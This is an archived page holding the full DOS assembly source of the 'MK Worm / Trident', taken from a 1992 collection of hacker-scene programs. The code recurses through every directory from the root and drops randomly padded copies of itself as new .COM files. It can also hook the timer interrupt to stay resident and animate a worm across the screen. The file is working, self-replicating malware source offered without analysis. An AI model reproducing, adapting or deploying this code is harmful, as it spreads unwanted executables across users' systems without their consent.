home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / M.ZIP / MKWORM.ZIP / MKWORM.ASM next >
Assembly Source File  |  1992-10-26  |  15KB  |  467 lines

  1. ;**********************************************************************
  2. ;*
  3. ;*  MK Worm
  4. ;*
  5. ;*  Compile with MASM 4.0
  6. ;*
  7. ;**********************************************************************
  8.  
  9. cseg            segment
  10.                 assume  cs:cseg,ds:cseg,es:cseg
  11.                 .radix  16
  12.                 org     0100
  13.  
  14.  
  15. wormlen         equ     8
  16. filelen         equ     eind - begin
  17. old_dir         equ     eind
  18. DTA             equ     offset eind + 100d
  19.  
  20.  
  21. ;**********************************************************************
  22. ;*              Main program
  23. ;**********************************************************************
  24.  
  25. begin:          call    rnd_init
  26.  
  27.                 mov     bp,DTA                  ;change DTA
  28.                 call    set_DTA
  29.  
  30.                 mov     ah,47                   ;get name of current directory
  31.                 cwd
  32.                 mov     si,offset old_dir
  33.                 int     21
  34.  
  35.                 mov     dx,offset root_dir      ;goto root
  36.                 call    chdir
  37.  
  38.                 call    search                  ;search directory's
  39.  
  40.                 mov     dx,offset old_dir       ;goto original directory
  41.                 call    chdir
  42.  
  43.                 call    rnd_get                 ;go resident?
  44.                 and     al,0F
  45.                 jz      go_res
  46.  
  47.                 int     20
  48.  
  49. go_res:         mov     ax,351C                 ;go resident!
  50.                 int     21
  51.                 lea     si,oldvec
  52.                 mov     [si],bx
  53.                 mov     [si+2],es
  54.                 lea     dx,routine
  55.                 mov     ax,251C
  56.                 int     21
  57.                 mov     dx,offset eind
  58.                 int     27
  59.  
  60.  
  61. ;**********************************************************************
  62. ;*              search dir
  63. ;**********************************************************************
  64.  
  65. search:         mov     dx,offset dirname       ;search *.*
  66.                 mov     cx,16
  67.                 mov     ah,4E
  68. finddir:        int     21
  69.                 jc      no_dir
  70.  
  71.                 test    byte ptr [bp+15],10     ;directory?
  72.                 je      next_dir
  73.                 cmp     byte ptr [bp+1E],'.'    ;is it '.' or '..' ?
  74.                 je      next_dir
  75.  
  76.                 lea     dx,[bp+1E]              ;goto directory
  77.                 call    chdir
  78.                 lea     bp,[bp+2C]              ;change DTA
  79.                 call    set_DTA
  80.  
  81.                 call    search                  ;searc directory (recurse!)
  82.  
  83.                 lea     bp,[bp-2C]              ;goto previous DAT
  84.                 call    set_DTA
  85.                 mov     dx,offset back_dir      ;'CD ..'
  86.                 call    chdir
  87.  
  88. next_dir:       mov     ah,4F                   ;find next
  89.                 jmp     short finddir
  90.  
  91. no_dir:         call    rnd_get                 ;copy worm to this directory?
  92.                 and     al,3
  93.                 jnz     no_worm
  94.  
  95.                 mov     dx,offset comname       ;search *.com
  96.                 mov     ah,4E
  97.                 mov     cx,06
  98. findcom:        int     21
  99.                 jc      makeit
  100.                 
  101.                 mov     ax,word ptr [bp-1A]     ;worm already there?
  102.                 sub     ax,filelen
  103.                 cmp     ax,10
  104.                 jnb     no_worm
  105.  
  106.                 mov     ah,4F
  107.                 jmp     short findcom
  108.  
  109.  
  110. makeit:         call    makeworm                ;copy the worm!
  111.  
  112. no_worm:        ret
  113.  
  114.  
  115. ;**********************************************************************
  116. ;*              change dir
  117. ;**********************************************************************
  118.  
  119. chdir:          mov     ah,3Bh
  120.                 int     21
  121.                 ret
  122.  
  123.  
  124. ;**********************************************************************
  125. ;*              set DTA
  126. ;**********************************************************************
  127.  
  128. set_DTA:        mov     dx,bp
  129.                 mov     ah,1A
  130.                 int     21
  131.                 ret
  132.  
  133.  
  134. ;**********************************************************************
  135. ;*              create worm
  136. ;**********************************************************************
  137.  
  138. makeworm:       mov     ah,5A                   ;create unique filename
  139.                 xor     cx,cx
  140.                 mov     dx,offset filename
  141.                 mov     si,offset restname
  142.                 mov     byte ptr [si],0
  143.                 int     21
  144.                 xchg    ax,bx
  145.  
  146.                 mov     ah,40                   ;write worm
  147.                 mov     cx,filelen
  148.                 mov     dx,0100
  149.                 int     21
  150.  
  151.                 call    rnd_get                 ;append a few bytes
  152.                 and     ax,0F
  153.                 xchg    ax,cx
  154.                 mov     dx,0100
  155.                 mov     ah,40
  156.                 int     21
  157.                 
  158.                 mov     ah,3E                   ;close file
  159.                 int     21
  160.  
  161.                 lea     di,[si+13d]             ;copy filename
  162.                 push    di
  163.                 push    si
  164.                 movsw
  165.                 movsw
  166.                 movsw
  167.                 movsw
  168.                 mov     si,offset comname+1
  169.                 movsw
  170.                 movsw
  171.                 movsb
  172.  
  173.                 pop     dx                      ;rename file to .COM
  174.                 pop     di
  175.                 mov     ah,56
  176.                 int     21
  177.  
  178.                 ret
  179.  
  180.  
  181. ;**********************************************************************
  182. ;*              new int 1C handler
  183. ;**********************************************************************
  184.  
  185. routine:        cli                             ;save registers
  186.                 push    ds
  187.                 push    es
  188.                 push    ax
  189.                 push    bx
  190.                 push    cx
  191.                 push    dx
  192.                 push    si
  193.                 push    di
  194.  
  195.                 push    cs
  196.                 push    cs
  197.                 pop     ds
  198.                 pop     es
  199.  
  200. zzz3:           inc     byte ptr [count]
  201.                 mov     al,byte ptr [count]
  202.                 test    al,1                    ;only every 2nd tick
  203.                 jz      nothing
  204.                 cmp     al,3                    ;don't change direction yet
  205.                 jb      zzz2
  206.                 call    rnd_get
  207.                 and     al,3                    ;change direction?
  208.                 jnz     zzz2
  209.  
  210. zzz0:           call    dirchange               ;change direction!
  211.                 mov     al,byte ptr [direction]
  212.                 xor     al,byte ptr [old_direc]
  213.                 and     al,1
  214.                 jz      zzz0                    ;90 degrees with old direction?
  215.  
  216. zzz2:           call    getnext                 ;calculate next position
  217.                 call    checknext               ;does it hit the border?
  218.                 jc      zzz0
  219.  
  220.                 mov     al,byte ptr [direction] ;save old direction
  221.                 mov     byte ptr [old_direc],al
  222.                 call    moveworm
  223.  
  224.                 mov     ah,0F                   ;ask video mode
  225.                 int     10
  226.                 cmp     al,7
  227.                 jz      goodmode
  228.                 cmp     al,4
  229.                 jnb     nothing
  230.                 cmp     al,2
  231.                 jb      nothing
  232.        
  233. goodmode:       mov     ah,3                    ;read cursor position
  234.                 int     10
  235.                 push    dx
  236.  
  237.                 call    printworm
  238.  
  239.                 pop     dx                      ;restore cursor position
  240.                 mov     ah,2
  241.                 int     10
  242.  
  243. nothing:        pop     di
  244.                 pop     si
  245.                 pop     dx
  246.                 pop     cx
  247.                 pop     bx
  248.                 pop     ax
  249.                 pop     es
  250.                 pop     ds
  251.                 sti
  252.  
  253.                 jmp     cs:[oldvec]             ;original vector
  254.  
  255. oldvec          dd      0
  256.                 
  257.  
  258. ;**********************************************************************
  259. ;*              changes direction of worm
  260. ;**********************************************************************
  261.  
  262. dirchange:      call    rnd_get                 ;get random numbar
  263.                 and     al,2
  264.                 mov     ah,byte ptr [direction] ;change direction 90 degrees
  265.                 xor     ah,0FF
  266.                 and     ah,1
  267.                 or      ah,al
  268.                 mov     byte ptr [direction],ah
  269.                 mov     byte ptr [count],0
  270.                 ret
  271.  
  272.  
  273. ;**********************************************************************
  274. ;*              finds next position of the worm
  275. ;**********************************************************************
  276.  
  277. getnext:        mov     al,byte ptr [yval+wormlen]
  278.                 mov     byte ptr [yval+wormlen+1],al
  279.                 mov     al,byte ptr [xval+wormlen]
  280.                 mov     byte ptr [xval+wormlen+1],al
  281.  
  282.                 mov     ah,byte ptr [direction]
  283.                 cmp     ah,3
  284.                 je      is_3
  285.                 cmp     ah,2
  286.                 je      is_2
  287.                 cmp     ah,1
  288.                 je      is_1
  289.  
  290. is_0:           mov     al,byte ptr [yval+wormlen]      ;up
  291.                 dec     al
  292.                 mov     byte ptr [yval+wormlen+1],al
  293.                 ret
  294.  
  295. is_1:           mov     al,byte ptr [xval+wormlen]      ;left
  296.                 dec     al
  297.                 dec     al
  298.                 mov     byte ptr [xval+wormlen+1],al
  299.                 ret
  300.  
  301. is_2:           mov     al,byte ptr [yval+wormlen]      ;down
  302.                 inc     al
  303.                 mov     byte ptr [yval+wormlen+1],al
  304.                 ret
  305.  
  306. is_3:           mov     al,byte ptr [xval+wormlen]      ;right
  307.                 inc     al
  308.                 inc     al
  309.                 mov     byte ptr [xval+wormlen+1],al
  310.                 ret
  311.  
  312.  
  313. ;**********************************************************************
  314. ;*              checks if worm will hit borders
  315. ;**********************************************************************
  316.  
  317. checknext:      mov     al,byte ptr [xval+wormlen+1]
  318.                 cmp     al,0
  319.                 jl      fout
  320.                 cmp     al,80d
  321.                 jae     fout
  322.  
  323.                 mov     al,byte ptr [yval+wormlen+1]
  324.                 cmp     al,0
  325.                 jl      fout
  326.                 cmp     al,25d
  327.                 jae     fout
  328.  
  329.                 clc
  330.                 ret
  331. fout:           stc
  332.                 ret
  333.  
  334.  
  335. ;**********************************************************************
  336. ;*              move the worm
  337. ;**********************************************************************
  338.  
  339. moveworm:       mov     si,offset xval+1
  340.                 lea     di,[si-1]
  341.                 mov     cx,wormlen+1
  342.         rep     movsb
  343.                 mov     si,offset yval+1
  344.                 lea     di,[si-1]
  345.                 mov     cx,wormlen+1
  346.         rep     movsb
  347.                 ret
  348.  
  349.  
  350. ;**********************************************************************
  351. ;*              print the worm on screen
  352. ;**********************************************************************
  353.  
  354. printworm:      mov     si,offset xval
  355.                 call    move
  356.                 mov     al,20                   ;print space on rear end
  357.                 call    print
  358.                 mov     cx,wormlen-1
  359. lup:            call    move
  360.                 mov     al,0F                   ;print dots
  361.                 call    print
  362.                 loop    lup
  363.                 call    move
  364.                 mov     al,2                    ;print head of worm
  365.                 call    print
  366.                 ret
  367.  
  368.  
  369. ;**********************************************************************
  370. ;*              move the cursor
  371. ;**********************************************************************
  372.  
  373. move:           mov     ah,[si+wormlen+2]
  374.                 lodsb
  375.                 xchg    ax,dx
  376.                 mov     ah,02
  377.                 int     10
  378.                 ret
  379.  
  380.  
  381. ;**********************************************************************
  382. ;*              print a character
  383. ;**********************************************************************
  384.  
  385. print:          push    cx
  386.                 mov     ah,09
  387.                 mov     bl,0C
  388.                 mov     cx,1
  389.                 int     10
  390.                 pop     cx
  391.                 ret
  392.  
  393.  
  394. ;****************************************************************************
  395. ;*              random number generator
  396. ;****************************************************************************
  397.  
  398. rnd_init:       push    cx
  399.                 call    rnd_init0
  400.                 and     ax,000F
  401.                 inc     ax
  402.                 xchg    ax,cx
  403. random_lup:     call    rnd_get
  404.                 loop    random_lup
  405.                 pop     cx
  406.                 ret
  407.  
  408. rnd_init0:      push    dx                      ;initialize generator
  409.                 push    cx
  410.                 mov     ah,2C
  411.                 int     21
  412.                 in      al,40
  413.                 mov     ah,al
  414.                 in      al,40
  415.                 xor     ax,cx
  416.                 xor     dx,ax
  417.                 jmp     short move_rnd
  418.  
  419. rnd_get:        push    dx                      ;calculate a random number
  420.                 push    cx
  421.                 push    bx
  422.                 mov     ax,0
  423.                 mov     dx,0
  424.                 mov     cx,7
  425. rnd_lup:        shl     ax,1
  426.                 rcl     dx,1
  427.                 mov     bl,al
  428.                 xor     bl,dh
  429.                 jns     rnd_l2
  430.                 inc     al
  431. rnd_l2:         loop    rnd_lup
  432.                 pop     bx
  433.  
  434. move_rnd:       mov     word ptr cs:[rnd_get+4],ax
  435.                 mov     word ptr cs:[rnd_get+7],dx
  436.                 mov     al,dl
  437.                 pop     cx
  438.                 pop     dx
  439.                 ret
  440.  
  441.  
  442. ;**********************************************************************
  443. ;*              data
  444. ;**********************************************************************
  445.  
  446.                 db      ' MK Worm / Trident '
  447. root_dir        db      '\',0
  448. back_dir        db      '..',0
  449. dirname         db      '*.*',0
  450.  
  451. comname         db      '*.COM',0
  452. filename        db      '.\'
  453. restname        db      (26d) dup (?)
  454.  
  455. xval            db      32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0
  456. yval            db      (wormlen+2) dup (12d)
  457.  
  458. direction       db      3
  459. old_direc       db      3
  460. count           db      0
  461.  
  462. eind:
  463.  
  464. cseg            ends
  465.                 end     begin
  466.  
  467.